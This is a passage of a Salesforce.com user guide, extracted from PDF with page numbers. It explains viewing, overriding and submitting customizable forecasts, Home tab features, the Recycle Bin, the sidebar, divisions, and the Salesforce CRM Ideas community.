Viewing Customizable Forecasts
Submitting Customizable Forecasts

Viewing Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To see forecasts of other users: “View All Forecasts”
To override your forecast: “Override Forecasts”

When you click the Forecasts tab, review the amounts listed and determine if they are ready to be submitted.

• Initially, your name appears in the title bar and above Find a Forecast:, indicating that you are viewing your own
forecast. Users with the appropriate permissions can click the magnifying glass icon and select another user or role to view
that person’s forecast. When you are viewing a forecast other than your own, the role or username will be displayed in the
title bar and above Find a Forecast:. In addition, your access level will be displayed above Find a Forecast:.
• If you organization uses manual forecast sharing, click Sharing to view the forecast sharing settings or to share the forecast
with other users.
• If your organization uses territories, choose an option from the Territory picklist to summarize the forecast by that
territory. See Territory Management Overview on page 2131.
• If your organization uses product families, choose an option from the Product Family picklist to summarize the forecast
by that product family. Choosing --All-- product families disables the Submit, and Forecast History options; choose
another product family to use these options. See Defining Customizable Forecast Settings on page 742 for information on
customizing your organization to use product families.
• If your organization forecasts on both revenue and quantity, select whether to include revenue, quantity, or revenue and
quantity. This controls which information is displayed for each amount listed.
• Select a date range under Range Start to view another forecast period. Forecast details for opportunities that closed
more than two years before you implemented customizable forecasting or more than 10 years in the future are not available.
For information on opportunities outside of this time range, see Opportunity, Forecast, and Sales Reports on page 1870.

1585
Customizable Forecasts Viewing Customizable Forecasts

Note: Organizations that implemented customizable forecasting prior to the Salesforce.com Winter '07 release
can see forecasts outside of this range.

• Select a Range Length to view fewer or more forecast periods.


Note: If you are using custom fiscal years, periods before the first defined custom fiscal year or after the last defined
fiscal year use calendar months or calendar quarters (depending on your forecast setting) for the range start and
period length.

• Select an option next to Display Units to view forecast totals using a different unit of measurement. To display what
portion each total is of your quota, choose % Quota.

Viewing Forecast History


When viewing a forecast from the Forecasts tab, click Forecast History to view snapshots of your forecast data taken when
you submit it. You can also view the submitted forecasts of subordinates users. Click Forecast Summary to return to the
previous view.

Viewing Forecast Amount Details


Select the Forecasts subtab to see forecast details. Click any forecast amount to view details of the opportunity amounts included
in that forecast amount. From the details page, click any item listed to view it. Click Edit to override that item. See Overriding
Customizable Forecasts on page 1587 for instructions on overriding forecast amounts from the opportunity.
If you have direct reports (users that report directly to you), their forecasts display below yours. The Choose a view option
allows you to change the way forecast information is displayed for your direct reports. Use this option to group forecast data
by subordinate or forecast period.
• View by Period displays a list of direct reports and their forecasts for each forecast period. Click any name to view the
forecast for that user.
• View by Direct Report displays a list of forecast totals for each direct report. Click View next to any subordinate name to
view the forecast for that user.
• Clicking any amount displays the opportunities and forecast overrides included in that amount.

Viewing Opportunities
Select the Opportunities subtab to see the opportunities that are included in the displayed forecast. On the Opportunities
subtab, you can choose, or create, a list view to further filter the displayed opportunities. Click any opportunity to see the
opportunity details. To override the opportunity, click Edit. For more information on overriding opportunities, see Overriding
Customizable Forecasts on page 1587.
Note: When a partner portal user is transferred to another account, the opportunities on each account are automatically
recalculated through your organization's forecast hierarchy.

See Also:
Customizable Forecasting Overview
Working with Forecast Categories
Customizable Forecasting Home
Managing Customizable Forecasts
Submitting Customizable Forecasts

1586
Customizable Forecasts Overriding Customizable Forecasts

Overriding Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To see forecasts of other users: “View All Forecasts”
To override your forecast: “Override Forecasts”

You can make your forecast a more accurate assessment of your forecasted sales by overriding forecast amounts as needed. Any
user can override a forecast from the opportunity by changing the Stage or Forecast Category of the opportunity. Users
with the “Override Forecasts” permission can override their forecast or any direct report’s forecast at the forecast level.

Overriding Your Forecast from the Opportunity


1. Click the Opportunities subtab on the Forecasts page.
2. Click Edit for the opportunity you want to override.
3. Make any changes to the details. The options available differ depending on whether you own the opportunity.
4. If products are on the opportunity and you want to change the forecast category for that product, select Change Category,
then select the appropriate Product Forecast Category.
5. Click Save. The opportunity is marked with the appropriate icon indicating its override status. For a description of each
override icon, see Forecast Override Indicators on page 1588.
Click Save & Refresh to update the record and redisplay the totals.

Overriding Your Forecast Total


1. Click the Forecasts subtab on the Forecasts page.
2. Click the edit icon ( ) to override the adjusted total.
3. Enter a new amount and any comment.
4. Click Save. The forecast is marked with the appropriate icon indicating its override status. For a description of each override
icon, see Forecast Override Indicators on page 1588.

Overriding the Forecast of Your Direct Reports


1. Click the Forecasts subtab on the Forecasts page.
2. Click the edit icon ( ) to override your direct report's forecast.
3. Choose one of the override options to control which override amounts, if any, are included in the forecast:
• Accept John Doe’s forecast - Use this option to accept the forecast of your direct report, including any overrides that
he or she has made.
• Reject any override on John Doe’s forecast, but accept forecast overrides from other subordinates- Use this option
to ignore overrides made on your direct report's forecast, but include any overrides made on forecasts further down in
the hierarchy.
• Reject all forecast overridesUse this option to ignore all forecast-level overrides but include opportunity-level overrides.
If you have overridden amounts at the opportunity, your own opportunity forecasts are used in this calculation. Choose

1587
Customizable Forecasts Overriding Customizable Forecasts

this option if you want forecast amounts to be based on opportunity amounts including overrides made at the opportunity
level.
• Override the forecast and set it toUse this option to enter an amount that replaces the current amount in your forecast.
Your manager will see this amount in your forecast but your subordinates will not.

4. If you forecast on both revenue and quantity, choose an override option for quantity forecast.
5. Click Save. The forecast is marked with the appropriate icon indicating its override status. For a description of each override
icon, see Forecast Override Indicators on page 1588.
Note: The Forecasts tab is unlike other tabs in that it automatically calculates data for you based on your opportunity
data. You do not need to create or delete forecast records.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Forecast Override Indicators

Forecast Override Indicators


An icon displays for each override to indicate the status of the override. Use the following table to determine the status of an
override.

The opportunity has been updated since an override.

A subordinate has overridden the forecast.

A person that reports directly to you has overridden the


forecast.
You have overridden the forecast.

The forecast data is not up-to-date. Refresh your browser in


a few minutes.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Overriding Customizable Forecasts

1588
Customizable Forecasts Customizable Forecast Fields

Customizable Forecast Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Here is a description of the fields (in alphabetical order) that make up a forecast in customizable forecasting:

Forecast Fields

Field Description
Comments The comments you enter when overriding your forecast.
Forecast Category Category determined by the opportunity Stage value. Options
are:
• Omitted means the amount does not contribute to your
forecast.
• Pipeline includes amounts from all open opportunities.
• Best Case includes amounts you are likely to close,
closed/won opportunity amounts, and amounts in the
Commit category.
• Commit includes amounts you are confident about closing
and closed/won opportunity amounts.
• Closed includes amounts for closed/won opportunities.

Forecast Item Record that contributes to the forecast. This displays in the
detail of a forecast amount.
Revenue The total expected revenue amount from the opportunities
that fit in a given category.
Quantity The total number of units that are forecasted to sell as part of
the opportunities in a given category.
My Forecast Override The amount you enter when overriding a forecast amount.
Submitted By The user who submitted a forecast.
Type Type of override. Options are “Opportunity” or “Forecast
Override.”

Opportunity Forecast Fields

Opportunity Forecast Field Description


My Forecast Amount The amount you enter when overriding your direct report’s
opportunity amount.
My Forecast Category The category selected when you override the category of an
opportunity.
My Forecast Comments The comments you enter when overriding one of your
opportunities or the opportunity of a direct report.

1589
Customizable Forecasts Submitting Customizable Forecasts

Opportunity Forecast Field Description


My Forecast Period The period you selected when overriding a direct report’s
opportunity period.

Submitting Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To see forecasts of other users: “View All Forecasts”
To override your forecast: “Override Forecasts”

On the Forecasts tab, your forecast totals are always available to you and users above you in your role hierarchy. However,
forecast totals are only available in forecast history and reports after you submit them. You can submit your own forecast or
any forecast data that has been manually shared with you and you have permission to submit.
To submit your forecast:

1. Click Submit from your forecast on the Forecasts tab.


2. Click OK to confirm. Salesforce.com takes a snapshot of your forecast totals and makes them available in reports and your
forecast history.

See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Managing Customizable Forecasts
Viewing Customizable Forecasts

1590
HOME TAB

Home Tab Overview


The available tabs and options in the Create New drop-down list vary according to which permissions you have and which
Salesforce.com Edition you are using.

From the Home tab, you can view your calendar and tasks, and select tab and sidebar options to access other information.
You can also search for information and view messages and custom links provided by your administrator.
The tabs at the top of the page let you access different types of information.
Tabs can be organized into groups called apps, which make it easy to switch between sets of tabs that relate to one another.
In addition to the standard apps, such as Sales and Call Center, your administrator can create custom apps to define the tabs
that you see. You can switch between apps by choosing from the Force.com app menu at the top of the page.
An alert banner may appear on the Home tab to let you know when updates are available for desktop clients such as Connect
for Outlook and Connect Offline. For more information, see Viewing Client Update Alerts on page 1598.

See Also:
Logging In
Using Your Calendar and Tasks on the Home Page
Search Overview
Recycle Bin
About the Sidebar
Custom Links
Messages and Alerts
Recent Items
What is an App?

Changing Your Home Tab Dashboard


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator can create customized Home tab pages that display customized components such as a dashboard snapshot
or your company logo. If your Home tab contains a dashboard snapshot, you can change the dashboard settings.
Click Customize Page in the Dashboard section of the Home tab if yours contains a dashboard. Use this page to select a
different dashboard to display on the Home tab. Click Refresh to refresh the data in your dashboard. See Refreshing Dashboard
Data on page 1508 for more information.

See Also:
Customizing Your Display

1591
Home Tab Using Your Calendar and Tasks on the Home Page

Using Your Calendar and Tasks on the Home Page


Available in: All Editions

Note: The My Tasks and Calendar sections display on the Home tab if they are included as components on your
home page layout. For more information, see Customizing Home Tab Page Layouts on page 641.

From the Home tab, you can view, create, and edit events and tasks.

Using the My Tasks Section


In the My Tasks section on the Home tab, you can:
• Click New to create a task.
• View a list of tasks assigned to you. Up to fifteen tasks can be displayed; to view all your tasks, click View More.

The recurrence icon ( ) identifies tasks that are part of a recurring series.
• Choose a time frame from the drop-down list to change which tasks display.
• If your organization has enabled hover links for the My Tasks list, hover your mouse over the subject of a task to see the
details of the task in an overlay. Alternatively, click the subject of a task to open the detail page of that task.
• Click X to close a task.

Using the Calendar Section


In the Calendar section on the Home tab, you can:
• Click New Event to create a new event.
• View a list of the events you have scheduled for the next seven days. The section displays a maximum of 50 events per day.
Note:
- The recurrence icon ( ) identifies events that are part of a recurring series.
- The group event icon ( ) identifies group events. Group events are not available in Personal Edition.

• If your organization has enabled home page hover links for events, hover your mouse over the subject of an event to display
the details of the event in an interactive overlay. Alternatively, click the subject of an event to open the detail page of that
event.
• View a small calendar of the current month. To change which month displays, click the Previous Month ( ) and Next
Month ( ) icons as appropriate.
• Navigate to different views of your calendar: Click the icons underneath the small monthly calendar as appropriate. For
more information, see Viewing Your Calendar on page 1191.

See Also:
Viewing Activities

1592
Home Tab Recycle Bin

Recycle Bin
Available in: All Editions

User Permissions Needed


To view and recover your deleted records: “Read” on the records in the Recycle Bin
To view and recover records deleted by other users: “Modify All Data”
To recover deleted public tags: “Tag Manager”
To purge the Recycle Bin: “Modify All Data”

The Recycle Bin link in the sidebar lets you view and restore recently deleted records for 30 days before they are permanently
deleted. Your recycle bin record limit is 250 times the Megabytes (MBs) in your storage. For example, if your organization
has 1 GB of storage then your limit is 250 times 1000 MB or 250,000 records. If your organization reaches its Recycle Bin
limit, Salesforce.com automatically removes the oldest records if they have been in the Recycle Bin for at least two hours.

Viewing Items in the Recycle Bin


Choose My recycle bin from the drop-down list to view just the items you deleted. Administrators, and users with the “Modify
All Data” permission, can choose All recycle bin to view all data that has been deleted for the entire organization. In Personal
Edition, the All recycle bin option shows all of your deleted items.

Searching for Items in the Recycle Bin


1. Choose My recycle bin or All recycle bin from the drop-down list. Choosing My recycle bin searches for matches only
in the items you deleted.
2. Enter your search terms. Search terms are treated as separate words with an implied AND between them. For example,
searching for bob jones returns items with bob and jones together but not bob smith whose email address is bsmith@jones.com.
An implied wildcard is appended to your search terms so searching for bob returns any bob or bobby. Searches look for
matches in the field displayed in the Name column of the Recycle Bin such as lead Name, Case Number, Contract
Number, or Product Name.
3. Click Search.

Restoring Items in the Recycle Bin


You can restore items by checking the box next to those items and clicking Undelete. To restore all deleted items, check the
box in the column header and then click Undelete.
When you undelete a record, Salesforce.com restores the record associations for the following types of relationships:
• Parent accounts (as specified in the Parent Account field on an account)
• Parent cases (as specified in the Parent Case field on a case)
• Master solutions for translated solutions (as specified in the Master Solution field on a solution)
• Managers of contacts (as specified in the Reports To field on a contact)
• Products related to assets (as specified in the Product field on an asset)
• All custom lookup relationships

1593
Home Tab Creating Records Using the Create New Drop-Down List

• Relationship group members on accounts and relationship groups, with some exceptions. For information on these
exceptions, see “Removing Members from Relationship Group Members” in the Salesforce.com online help.
• Tags
• An article's categories, publication state, and assignments. See “Managing Articles” in the Salesforce.com online help.
Note: Salesforce.com only restores lookup relationships that have not been replaced. For example, if an asset is related
to a different product prior to the original product record being undeleted, that asset-product relationship is not
restored.

Purging the Recycle Bin


To permanently remove your deleted items prior to the 30 day period, administrators, and users with the “Modify All Data”
permission, can click Empty your recycle bin or Empty your organization’s recycle bin .

Creating Records Using the Create New Drop-Down List


The available options in the Create New drop-down list vary according to which permissions you have, which Salesforce.com
Edition you are using, and which app you are using.

The Create New drop-down list, available in the sidebar, provides options to create new records. To create a new record using
the drop-down list:

1. Select the type of record you want to create. The new record page immediately displays in the appropriate tab.
2. Fill in the fields.
3. Click Save.

Using the Tags Sidebar Component


The Tags link and Recent Tags drop-down list, available in the sidebar, allow you to browse tags and access your most recently
used tags, respectively.

• Click Tags to browse, search, and manage your entire tag collection.
• Select a tag in the Recent Tags drop-down list to view all records that have been marked with that tag. The tags that appear
in this list are those you have most recently used to tag records.

See Also:
About Tagging
Browsing, Searching, and Managing Tags
Enabling Tags

1594
Home Tab About the Sidebar

About the Sidebar


Available in: All Editions

The sidebar column that appears on the left side of most Salesforce.com pages provides convenient access to the following
links and commands.

• Search
• The Google Talk gadget
• The Tags link and Recent Tags drop-down list
• The Divisions drop-down list
• The Create New drop-down list
• A Calendar shortcut to your last used calendar view
• The Recent Items list
• Messages and Alerts
• Custom Links
• A shortcut to the Recycle Bin

The options in your sidebar may vary if your administrator has customized your home page layout. For more information, see
Customizing Home Tab Page Layouts on page 641.
If your administrator has enabled the collapsible sidebar, you have the choice to show or hide the sidebar as needed. Click the
edge of the sidebar or press ALT+S to open or close the sidebar as needed. Opening the sidebar using ALT+S automatically
places your cursor in the Search box.
Note: The sidebar cannot be collapsed if you are a Salesforce CRM Call Center user.

Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times so
you always have access to the Divisions drop-down list.

See Also:
Customizing Activity Settings

1595
Home Tab Messages and Alerts

Messages and Alerts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The Messages and Alerts section of the Home tab sidebar displays announcements customized by your organization's
administrator. The Messages and Alerts section is not available in Personal Edition.

See Also:
Customizing Home Tab Page Layouts
About the Sidebar

Custom Links
Available in: All Editions

This section appears on the Home tab depending on your customized home page layout. See Customizing Home Tab Page
Layouts on page 641.
The Custom Links section of the Home tab contains links to websites or Salesforce.com pages that are useful for everyone in
your organization. Your administrator sets which links display in this section.

See Also:
Customizing Home Tab Page Layouts
About the Sidebar

Recent Items
Available in: All Editions

In the Recent Items section of the sidebar column, you can see a short list of up to 10 specific accounts, campaigns, cases,
contacts, contracts, documents, ideas, leads, opportunities, orders, person accounts, solutions, users, or custom objects you’ve
most recently added or viewed. To see the details of an item, click the name of the item.
Tip: If your organization has enabled hover details, hover your mouse over any item in the Recent Items list to view
key information about the record before clicking into that record's detail or edit page.

1596
Home Tab Changing Your Working Division

Note: Your Recent Items may show fewer than 10 items if you have recently deleted any of your recently viewed
items. Likewise, the Recent lists on the tab home pages (for example, the Recent Leads list) may show fewer than 10
or 25 items if you have recently deleted items.

See Also:
About the Sidebar

Changing Your Working Division


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To change your working division: “Affected by Divisions”
To limit list views, searches, and reports by division: “Affected by Divisions”

If your administrator has enabled divisions, your organization’s data will be segmented into different sections, making searches,
reports, and list views more meaningful for you. For example, if you work in the North American division, you can create
reports to show only records belonging to the European division. See Overview of Divisions on page 95 for more information.
You can change the division in which you are working at any time. The data you see in search results includes records in your
working division.

• To set your working division, simply select a division from the Divisions drop-down list in the sidebar.
• To search within multiple divisions at the same time, use advanced search or select --All-- from the Divisions drop-down
list.
• To search within a division in a lookup dialog, select a division from the drop-down list in the lookup dialog window. Your
results include records in the selected division.
• To report on records in a specific division, select a division from the Divisions drop-down list on the report. Select
--Current-- to show records in your current working division.
Reports that are already scoped (such as My Cases or My team’s accounts) include records in all divisions, and you cannot
further limit them to a specific division.
• To find records in a specific division in a list view, use the Divisions drop-down list when creating or editing the list view.

1597
Home Tab Viewing Client Update Alerts

Note: When you create new records, those records are not automatically assigned to your current working division.
See Overview of Divisions on page 95 for more information.

See Also:
Divisions Overview
Transferring Divisions
Changing Your Default Division
About the Sidebar

Viewing Client Update Alerts


Available in: Enterprise, Unlimited and Developer Editions

User Permissions Needed


To view client update alerts: “On, updates w/alerts”
OR
“On, must update w/alerts”
on your profile

Under the following conditions, an alert banner automatically appears across the Home tab when new versions of clients such
as Connect for Outlook and Connect Offline are available.

• Your administrator has given you access to see the Home tab alerts. See Setting User Permissions for Desktop Clients on
page 164.
• In the past, you have successfully logged in from the client with your Salesforce.com username and password.

Click the alert banner to proceed to the Check for Updates page.
Note the following:

• You can navigate to the Check for Updates page at any time to see which client versions are installed on your computer.
• After installing the update, the alert banner continues to appear across the Home tab until you log in through the newly
updated client.

1598
Home Tab Viewing Client Update Alerts

• Connect Offline is the only client available with Developer Edition.

See Also:
Setting User Permissions for Desktop Clients
Force.com Connect for Microsoft Outlook® Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office® Overview
Force.com Connect for Lotus Notes Overview

1599
IDEAS

Ideas Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas

Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion
box that includes discussions and popularity rankings for any subject.
Tip: Salesforce.com offers its own Salesforce CRM Ideas community for Salesforce.com users to submit product
feedback and suggest new features. To visit, go to http://ideas.salesforce.com.

Ideas Terminology
The following terminology is used for Salesforce CRM Ideas:
Category, Ideas
Categories are administrator-defined values that help organize ideas into logical sub-groups within a community. The
View Category drop-down list on the Ideas tab allows users to filter ideas by category, and the Categories picklist on
the Post Ideas page lets users add categories to their ideas. For example, if your Salesforce CRM Ideas community has
the focus “Improvements to our clothing line,” then you might set up categories such as “Shirts,” “Jackets,” and “Slacks.”
Each organization has one common set of categories that can be added or removed from each community.

Comment
Comments are plain text responses to posted ideas that enable discussions about the ideas. On the Ideas tab, the Comments
subtab lists the comments that have most recently been submitted. On the detail page of an idea, comments are sorted
in chronological order from oldest to newest.

Community
Communities help organize ideas and answers into logical groups with each community having its own focus and unique
ideas and answers topics. Professional Edition organizations can have only one internal community for Salesforce CRM
Ideas. All other editions can have up to 50 communities shared between ideas and answers.

Community Application
The Community application includes Salesforce CRM Ideas and Discussions. The Community app is available in the
Force.com app menu.

1600
Ideas Ideas Overview

Community Expert
A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization.
When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other
community members can easily identify credible information within the community. The Salesforce.com administrator
can designate as many community experts as necessary.

Demote
If you dislike an idea, you can click demote to subtract 10 points from its overall score and decrease the idea's overall
popularity ranking. You cannot demote the same idea more than once, and after you demote an idea you cannot promote
it. An idea can have negative overall points if more users demote the idea than promote it.

Half-life
The half-life setting determines how quickly old ideas drop in ranking on the Popular Ideas subtab, to make room for
ideas with more recent votes. A shorter half-life moves older ideas down the page faster than a longer half-life. This
setting affects all communities in your organization.

Idea
Ideas are suggestions posted by the members of a Salesforce CRM Ideas community. For example, if the focus of a
particular community is “Ideas for car features,” an appropriate idea for that community might have the title “Insulated
cup holders that keep your beverage hot or cold.” Or, if the focus of a particular community is “Ideas for our company's
employee benefits,” an appropriate idea for that community might have the title “On-site day care.”

Point
A point is a unit of measurement that represents the popularity of an idea. Each vote for an idea is worth ten points
(promote adds 10 points and demote removes 10 points). An idea's total number of points displays to the left of the idea.

Popular Ideas
On the Popular Ideas subtab, ideas are sorted by an internal calculation that reflects the age of an idea's positive votes.
Regardless of an idea's static total number of points, ideas with newer positive votes display higher on the page than
ideas with older positive votes. This allows you to browse ideas that have most recently gained popularity, with less
precedence given to long-established ideas that were positively voted on in the past. For more information, see the terms
Point and Half-life.

Portal
If your organization has a Customer Portal or partner portal, you can add the Ideas tab to either or both portals so that
portal users can participate in their own Salesforce CRM Ideas communities. The Community list at the top of the Ideas
tab lists all the available communities, and each community contains its own unique group of ideas.
For more information about the Customer Portal, see Setting Up Your Customer Portal on page 1426. For more information
about the partner portal, see Partner Relationship Management Overview on page 1777.

Promote
If you agree with or like an idea, click promote to add 10 points to the idea. You cannot promote the same idea more
than once and you cannot promote an idea that you have already demoted. Salesforce.com automatically adds your
promote vote to any idea you post.

Recent Activity
Your Recent Activity page contains a summary of all the recent activity that relates to your participation within a
community. For example, this page lists all the ideas and comments you have posted to a community as well as the ideas
you have voted on. You can view your Recent Activity page by clicking your community nickname located on the right
side of the Ideas tab.

1601
Ideas Using Salesforce CRM Ideas

Status
An idea's status helps community members track the progress of the idea. For example, “Under Review”, “Reviewed”,
“Coming Soon”, and “Now Available” are common status values an administrator can define and assign to ideas. An
idea's status appears next to the idea's title for all community members to see.

Top All Time Ideas


On the Top All-Time subtab, ideas are sorted from most number of points to fewest. This allows you to see the most
popular ideas in the history of your Salesforce CRM Ideas community.

Vote
A vote means you have either promoted or demoted an idea. After you vote on an idea, your community nickname
displays at the bottom of the idea's detail page to track that your vote was made. You can use your Recent Activity page
to see a list of all the ideas you have voted on.

See Also:
Using Salesforce CRM Ideas
Managing Salesforce CRM Ideas
Tip sheet: Using Salesforce Ideas

USING IDEAS

Using Salesforce CRM Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas

Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion
box that includes discussions and popularity rankings for any subject. You can:

• Post ideas
• View ideas
• Search for ideas
• Vote for ideas
• Comment on ideas

1602
Ideas Posting and Editing Ideas

• View recent activity and replies


• Subscribe to syndication feeds

Each time you click the Ideas tab, the Popular Ideas subtab displays ideas in all categories. To change your current view, click
one of the other subtabs like Recent Ideas or Top All-Time. For more information on viewing ideas, see Viewing Ideas on
page 1605.

See Also:
Ideas Overview
Administrator setup guide: Salesforce Ideas Implementation Guide

Posting and Editing Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas

Posting Ideas
Posting a new idea is quick and easy:
1. Use the search box in the sidebar to search for existing ideas that match your idea. This helps reduce the number of duplicate
ideas in the community. If no existing ideas match your idea, proceed to the next step.
2. On the Ideas tab, select the appropriate community from the Community list at the top of the page.
3. Click Post Idea. Alternatively, select Idea from the Create New drop-down list in the sidebar.
4. Enter a title for your idea no longer than 255 characters.
After you enter the title, Salesforce.com searches the community for ideas with the same words in their title or description
and then displays the top five matching ideas. If one of these ideas looks similar to your own, click that idea's title to open
its detail page in a new window. From the detail page, you can read a description of the idea and vote for it instead of
posting your duplicate idea to the community. If none of the ideas in the list are similar to your idea, proceed with the
following steps to post your unique idea.
5. In the description area, enter the details of your idea.
If your organization has enabled the HTML editor for Salesforce CRM Ideas, the description can include HTML and
reference online images. If the HTML editor is not enabled, use plain text only. For more information, see Tips for Using
the HTML Editor on page 1610.
6. Choose one or more categories for your idea.
7. If you are an administrator, optionally choose a status for your idea. The Status drop-down list is only visible to
administrators.

1603
Ideas Voting on Ideas

8. Click Post.
Your new idea displays at the top of the Recent Ideas subtab, and your vote (promote) is automatically applied to the idea.
Each vote is always worth 10 points.
Tip: Use the following writing tips to make your idea easier for others to read and understand:
• Use complete sentences.
• Be as concise and direct as possible.
• Check your spelling and punctuation.

Editing Ideas
If you have the “edit” permission on ideas, you can edit the details of an existing idea:
1. On the Ideas tab, click the title of an idea.
2. Click Edit.
3. Modify the title, description, category, and status (administrators only) of the idea as appropriate.
4. Click Apply to save your work.
Editing an idea's details does not allow you to edit the comments on an idea.

See Also:
Ideas Overview
Using Salesforce CRM Ideas
Tip sheet: Using Salesforce Ideas

Voting on Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas

A vote means you have either promoted or demoted an idea.If you agree with or like an idea, click promote to add 10 points
to the idea. You cannot promote the same idea more than once and you cannot promote an idea that you have already demoted.
Salesforce.com automatically adds your promote vote to any idea you post.
If you dislike an idea, you can click demote to subtract 10 points from its overall score and decrease the idea's overall popularity
ranking. You cannot demote the same idea more than once, and after you demote an idea you cannot promote it. An idea can
have negative overall points if more users demote the idea than promote it.
To vote on an idea:

1604
Ideas Viewing Ideas

1. On the Ideas tab, locate an idea you want to promote or demote.


2. To add ten points to the idea, click promote next to the idea. To subtract 10 points from the idea, click demote. After
you have voted, your Community Nickname displays at the bottom of the idea's detail page to track that your vote was
made.

Note: When you post a new idea, you automatically cast a vote for that idea and ten points are added to the idea's
score.

See Also:
Ideas Overview
Viewing Ideas
Searching for Ideas
Using Salesforce CRM Ideas
Viewing Your Recent Activity Page

Viewing Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas

The following sections describe how to view ideas:

• Accessing the Ideas Tab in Salesforce.com


• Accessing the Ideas Tab in a Portal
• Browsing Popular Ideas
• Browsing Recent Ideas
• Browsing Top Ideas of All Time
• Viewing Ideas by Category
• Viewing Ideas by Status
• Browsing Ideas in Other Communities
• Viewing the Details of an Idea

Accessing the Ideas Tab in Salesforce.com


In Salesforce.com, the Ideas tab is available by default in the Community app. You can select this app from the Force.com
app menu in the top right corner of any Salesforce.com page.

1605
Ideas Viewing Ideas

Note that your administrator may have customized your profile to also display the Ideas tab in other apps. Also, your
administrator may have renamed the Ideas tab to an alternate tab name.
For information on how to personalize your available tabs to meet your needs, see Customizing Your Display on page 59.
Tip: The Community list at the top of the Ideas tab lists all the available communities, and each community contains
its own unique group of ideas.

Accessing the Ideas Tab in a Portal


If your organization has portal users who have access to a Customer Portal or partner portal, your portal's administrator can
display the Ideas tab on either type of portal. The ideas that display in a portal are either created through a portal or are created
internally in Salesforce.com and published for display in a portal.

Browsing Popular Ideas


On the Popular Ideas subtab, ideas are sorted by an internal calculation that reflects the age of an idea's positive votes. Regardless
of an idea's static total number of points, ideas with newer positive votes display higher on the page than ideas with older
positive votes. This allows you to browse ideas that have most recently gained popularity, with less precedence given to
long-established ideas that were positively voted on in the past.

Browsing Recent Ideas


The Recent Ideas subtab lists the ideas that have most recently been submitted. Newer ideas display above older ideas.

Browsing Top Ideas of All Time


The Top All-Time subtab lists the ideas with the most points. The difference between the Top All-Time subtab and the
Popular Ideas subtab is that the Top Alll-Time subtab displays the top ideas of all time by number of points, whereas the
Popular Ideas subtab uses an algorithm to display the ideas that have received the most recent positive votes.

Viewing Ideas by Category


Categories are administrator-defined values that help organize ideas into logical sub-groups within a community. The View
Category drop-down list on the Ideas tab allows users to filter ideas by category, and the Categories picklist on the Post
Ideas page lets users add categories to their ideas.
To browse ideas by category, select a category from the View Category drop-down list. Alternatively, click the category
link at the bottom of the idea description, next to the user who posted the idea.

Viewing Ideas by Status


An idea's status helps community members track the progress of the idea. For example, “Under Review”, “Reviewed”, “Coming
Soon”, and “Now Available” are common status values an administrator can define and assign to ideas. An idea's status appears
next to the idea's title for all community members to see.
To view all ideas of a particular status, go to the Ideas tab and select a value from the View Status drop-down list.
Alternatively, click the status link next to an idea to view all ideas in the community with that status.

Browsing Ideas in Other Communities


Administrators can create multiple communities with each community having its own unique list of ideas. For this reason, it
is important to verify you are viewing the correct community when browsing ideas. To browse ideas in a specific community,
select a community from the Community list at the top of the page.

1606
Ideas Commenting on Ideas

Viewing the Details of an Idea


Click the title of an idea to open the detail page of that idea. The detail page of an idea includes the following sections:
• The details of the idea, including its full text and number of points
• All comments that have been submitted for the idea
• An area for adding a new comment
• A list of the last 100 users who have voted (promoted or demoted) for the idea, sorted left to right from most recent vote
to oldest vote
• If you are an administrator, the detail page lets you edit, delete, and merge ideas. For more information, see Deleting Ideas
on page 1612, Merging Ideas on page 1618, and Posting and Editing Ideas on page 1603.

See Also:
Ideas Overview
Voting on Ideas
Commenting on Ideas
Posting and Editing Ideas
Using Salesforce CRM Ideas
Tip sheet: Using Salesforce Ideas

Commenting on Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas

Comments are plain text responses to posted ideas that enable discussions about the ideas. On the Ideas tab, the Comments
subtab lists the comments that have most recently been submitted. On the detail page of an idea, comments are sorted in
chronological order from oldest to newest.

Adding Comments to Ideas


Add comments to ideas to share your thoughts and opinions with other community members:
